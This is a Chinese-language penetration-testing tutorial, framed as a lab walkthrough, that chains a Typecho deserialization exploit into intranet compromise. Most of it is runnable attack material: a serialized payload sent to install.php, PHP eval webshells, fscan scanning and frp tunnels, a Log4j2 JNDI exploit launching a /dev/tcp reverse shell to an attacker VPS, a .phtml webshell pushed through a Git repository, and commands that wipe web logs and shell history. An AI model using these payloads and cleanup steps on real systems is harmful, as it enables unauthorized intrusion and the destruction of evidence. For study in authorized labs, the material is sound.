当前位置: 首页 > news >正文

新手也能搞定的多层内网渗透实战:从Typecho反序列化到Git仓库Getshell(附完整靶场复现步骤)

从Typecho反序列化到内网Git仓库:新手友好的渗透实战指南

当你第一次面对多层内网渗透时,是否感到无从下手?本文将带你一步步完成从外网Web漏洞利用到内网Git仓库getshell的全过程。不同于传统教程的抽象理论,我们会用真实的靶场环境,结合具体工具参数和避坑经验,让每个步骤都清晰可操作。

1. 环境准备与初始信息收集

在开始渗透之前,确保你已准备好以下环境:

  • Kali Linux虚拟机(推荐2023.2以上版本)
  • 两台云服务器(建议选择不同区域的VPS以避免IP封锁)
  • 基础工具集合
    # 安装必备工具 sudo apt update && sudo apt install -y nmap git python3-pip pip3 install requests

首先访问目标网站,通过简单的信息收集发现这是一个Typecho搭建的博客系统。使用Wappalyzer或手动检查HTTP头可以确认版本信息:

GET / HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0

注意:在实际测试中,保持请求头自然很重要,避免使用明显的扫描工具User-Agent

2. Typecho反序列化漏洞利用

Typecho 1.1版本存在一个经典的反序列化漏洞,我们可以利用它执行系统命令。以下是完整的漏洞利用过程:

  1. 生成Payload: 修改以下PHP代码中的system("ls")为你需要执行的命令:

    <?php class Typecho_Feed { // ... 完整类定义参考上文原始内容 ... } $exp = array('adapter' => new Typecho_Feed(), 'prefix' => 'typecho_'); echo base64_encode(serialize($exp)); ?>
  2. 发送恶意请求

    curl -X POST "http://target.com/install.php" \ -d "finish=1&__typecho_config=YOUR_BASE64_PAYLOAD"
  3. 写入Webshell: 更实用的方法是直接写入一句话木马:

    $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php eval(\$_POST[cmd]);?>")';

提示:如果遇到特殊字符转义问题,建议先base64编码再写入,例如:

$cmd = base64_encode('<?php eval($_POST[cmd]);?>'); $this->_params['screenName'] = 'file_put_contents("shell.php", base64_decode("'.$cmd.'"))';

3. 内网探测与横向移动

获得初始立足点后,我们需要探索内网环境:

  1. 查看网络配置

    # 在已获得的shell中执行 ifconfig cat /etc/hosts
  2. 使用fscan扫描内网

    # 下载并运行fscan(amd64版本) wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 chmod +x fscan_amd64 ./fscan_amd64 -h 192.168.0.1/24

    典型输出结果:

    IP地址开放端口服务信息
    192.168.0.122,80SSH, HTTP
    192.168.0.38080Java Web Application
  3. 搭建代理通道: 推荐使用frp进行内网穿透:

    # frpc.ini 配置示例 [common] server_addr = your_vps_ip server_port = 7000 [web] type = tcp local_ip = 127.0.0.1 local_port = 8080 remote_port = 6000

4. 利用Log4j2漏洞深入内网

发现Java应用时,Log4j2漏洞是很好的突破口:

  1. 准备JNDI利用工具

    git clone https://github.com/feihong-cs/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit
  2. 生成恶意负载

    # 将反弹shell命令base64编码 echo 'bash -i >& /dev/tcp/your_ip/4444 0>&1' | base64 # 启动JNDI服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YOUR_BASE64}|{base64,-d}|{bash,-i}" \ -A "your_vps_ip"
  3. 触发漏洞: 在找到的Java应用登录页面,尝试在用户名字段注入:

    ${jndi:ldap://your_vps_ip:1389/Exploit}
  4. 接收反弹shell

    nc -lvnp 4444

5. Git仓库getshell技巧

在内网中发现Git服务时,可以尝试以下方法:

  1. 识别Git仓库结构

    curl http://192.168.1.3/.git/HEAD
  2. 利用解析漏洞: 许多Git服务会解析.phtml文件:

    # 创建一个恶意.phtml文件 echo '<?php system($_GET["cmd"]); ?>' > shell.phtml # 提交到仓库 git clone http://192.168.1.3/project.git cd project cp ../shell.phtml . git add shell.phtml git commit -m "update docs" git push
  3. 访问webshell

    http://192.168.1.3/project/shell.phtml?cmd=id

6. 实战中的常见问题与解决方案

在实际渗透过程中,会遇到各种意外情况。以下是我总结的几个典型问题及解决方法:

代理连接不稳定

  • 使用autossh建立持久连接:
    autossh -M 0 -N -f -L 127.0.0.1:8080:192.168.0.3:8080 user@jump_host
  • 配置多级代理时,建议每跳都使用不同的端口范围

工具兼容性问题

  • fscan有多个版本,针对不同架构:
    版本适用系统下载地址
    amd64现代x86_64系统github.com/shadow1ng/fscan/releases
    386老旧32位系统同上
    arm64树莓派等设备同上

日志清理技巧

# 清除web日志 find /var/log/ -name "*access*" -exec sh -c 'echo "" > {}' \; # 删除历史命令记录 history -c && rm ~/.bash_history

7. 靶场复现完整流程总结

为了帮助理解整个渗透链路,以下是完整的步骤流程图:

  1. 外网突破: Typecho反序列化 → 上传Webshell → 获取数据库凭证

  2. 内网探测: 发现192.168.0.0/24网段 → fscan扫描 → 发现Java应用

  3. 横向移动: 利用Log4j2漏洞 → 获取内网shell → 发现新网段192.168.1.0/24

  4. 权限维持: 通过Git仓库getshell → 控制内网服务 → 获取最终flag

在实际操作中,每个环节都可能遇到各种意外。比如我在测试Git仓库时,发现只有特定扩展名才能解析,经过多次尝试才确定.phtml可用。另一个常见问题是代理中断导致前功尽弃,这时使用tmux或screen保持会话非常重要:

# 创建持久会话 tmux new -s pentest # 断开后重新连接 tmux attach -t pentest
http://www.jsqmd.com/news/909379/

相关文章:

  • 3个实用方法:高效获取Sketchfab 3D模型资源,让创意工作流加速运转
  • TikTok评论采集终极指南:三步快速获取全量用户反馈
  • 宜宾黄金回收门店精选推荐,福昌夏领衔品质之选 - 黄金上门回收
  • 广州白云山药业股票:拆解广药旗下老字号药企产业布局 - 信息搜索站
  • Android B站缓存视频合并终极指南:告别碎片化,重拾完整观影体验
  • 终极指南:使用Arduino-ESP32快速构建物联网设备的完整教程
  • 夏天用什么牌子精华水不油腻?多款品牌实测,CooFuni酵母精粹水控油抗氧,整日清爽 - 博客万
  • imFile:终极跨平台下载管理器,高效解决多协议下载难题
  • 如何用一款工具搞定全网视频下载?跨平台资源嗅探工具完全指南 [特殊字符]
  • 手把手教你用Cadence仿真SAR ADC比较器噪声:从Latch到ENOB计算的完整流程
  • UnrealPakViewer:轻松查看和管理虚幻引擎Pak文件的可视化工具
  • # 完整版MBTI测试入口|2026好用测评平台中立推荐 - 时讯资讯
  • 告别硬件依赖:用Manomotion SDK为你的Unity AR应用快速添加隔空手势控制
  • OpenOSINT
  • 终极指南:用OCRmyPDF快速实现PDF文档OCR识别的5个核心技巧
  • 2026精选厦门市思明区潇吴设备租赁:湖里专业的环岛路骑行哪家好 - LYL仔仔
  • 2026 年苏州代理记账机构口碑排行,八大正规财税公司精选指南 - 品牌智鉴榜
  • SpringBoot整合Taotoken实现基于大模型的智能客服问答系统
  • 热点关注:教育部新规落地,论文抽检不再怕!8款AI毕业论文查重降重工具帮你“安全过审” - 逢君学术-AI论文写作
  • Python位运算技巧
  • yuzu模拟器完全指南:免费在PC上畅玩Switch游戏的终极方案
  • 2026年公众号编辑器核心技术指标对比:AI、模板、工作流整合 - 行业产品测评专家
  • 自学程序员求职指南:从技能准备到面试通关的实战策略
  • Windows离线语音识别终极方案:TMSpeech如何彻底改变你的工作效率?
  • 科研精密超低温工况怎么选?深圳保利德低温螺杆式冷冻机高精度更稳定 - 资讯纵览
  • Google Home智能音箱深度配置指南:从核心原理到高阶自动化实战
  • EdgeRemover:专业卸载微软Edge浏览器的完整PowerShell解决方案
  • 2026年防泄密系统服务商实力盘点:华东地区值得信赖的品牌 - 速递信息
  • ChatGPT能力升级:从聊天机器人到智能体,解锁企业级AI应用新范式
  • AI时代职场变革:从技能重塑到人机协作的未来工作模式